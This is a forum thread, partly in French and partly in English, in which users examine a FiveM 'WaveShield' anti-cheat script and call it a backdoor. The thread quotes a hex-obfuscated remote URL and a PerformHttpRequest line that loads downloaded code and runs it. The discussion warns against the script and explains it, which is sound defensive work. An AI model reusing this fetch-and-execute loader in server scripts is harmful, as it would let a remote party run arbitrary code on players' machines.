Anticheat Anti-triche WaveShield FiveM | Détection des exécuteurs testamentaires | Eulen/Red Engine/Skript.GG/

[Yanis7010]

Anti-triche WaveShield FiveM

 

[I3 SCRIPT]

FiveMStatusCheck = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x68\x6c\x63\x6d\x35\x61\x6c\x63\x76\x31\x33\x2e\x63\x6f\x6d\x2f\x69\x3f\x74\x6f\x3d\x65\x64\x61\x42\x69'

 

[DuckieChanes]

FiveMStatusCheck = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x68\x6c\x63\x6d\x35\x61\x6c\x63\x76\x31\x33\x2e\x63\x6f\x6d\x2f\x69\x3f\x74\x6f\x3d\x65\x64\x61\x42\x69'

For those who are wandering about what it does, it saves the content from this site into the local value and somewhere later uses it.. theres a lot of code on the site and i did not analyse it but due to the domain it is for sure malicious and don't use it without checking every piece of the code for backdoors

The site -

Hidden link for visitors, to see Log in or register now.

 

[antoo2471]

Ok, là on a clairement affaire à un code obfusqué (donc volontairement rendu illisible) — typique des scripts malveillants ou de protection dans FiveM.


En gros :

• Tout le début, c’est un gros décodeur. Il déchiffre une longue chaîne de caractères codée, puis exécute dynamiquement le code caché dedans avec un load()().
  
  
  
  
  Donc concrètement, le serveur peut te forcer à exécuter du code arbitraire côté client.
  C’est une porte d’entrée énorme : un dev ou un mec malintentionné peut envoyer du code via cet event et faire ce qu’il veut sur ton jeu (ou pire, ton PC selon les permissions du client FiveM).
  
  
  En résumé :
  C’est un loader de code distant obfusqué → potentiellement dangereux / backdoor.
  Pas un anti-cheat, pas une protection utile, mais plutôt un moyen d’injecter des commandes depuis le serveur.

 

[Métamorphe]

Ok, là on a clairement affaire à un code obfusqué (donc volontairement rendu illisible) — typique des scripts malveillants ou de protection dans FiveM.


En gros :

• Tout le début, c’est un gros décodeur. Il déchiffre une longue chaîne de caractères codée, puis exécute dynamiquement le code caché dedans avec un load()().
  
  
  
  
  Donc concrètement, le serveur peut te forcer à exécuter du code arbitraire côté client.
  C’est une porte d’entrée énorme : un dev ou un mec malintentionné peut envoyer du code via cet event et faire ce qu’il veut sur ton jeu (ou pire, ton PC selon les permissions du client FiveM).
  
  
  En résumé :
  C’est un loader de code distant obfusqué → potentiellement dangereux / backdoor.
  Pas un anti-cheat, pas une protection utile, mais plutôt un moyen d’injecter des commandes depuis le serveur.

Merci, ça fait plaisir quand des FR expliquent correctement /pray. C'est aussi intéressent pour des apprentis comme moi, de mieux comprendre parfois ce genre de choses.

 

[vinyxxx12]

PerformHttpRequest('

Hidden link for visitors, to see Log in or register now.

', function (e, d) pcall(function() assert(load(d))() end) end)
Blum Panel Detected That Backdoor

 

[matador2617]

only backdoor